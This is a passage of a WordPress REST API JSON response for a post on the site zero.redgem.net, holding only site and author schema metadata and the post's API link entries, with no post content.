redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5958","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5958"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/5958\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5958"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5958"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5958"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}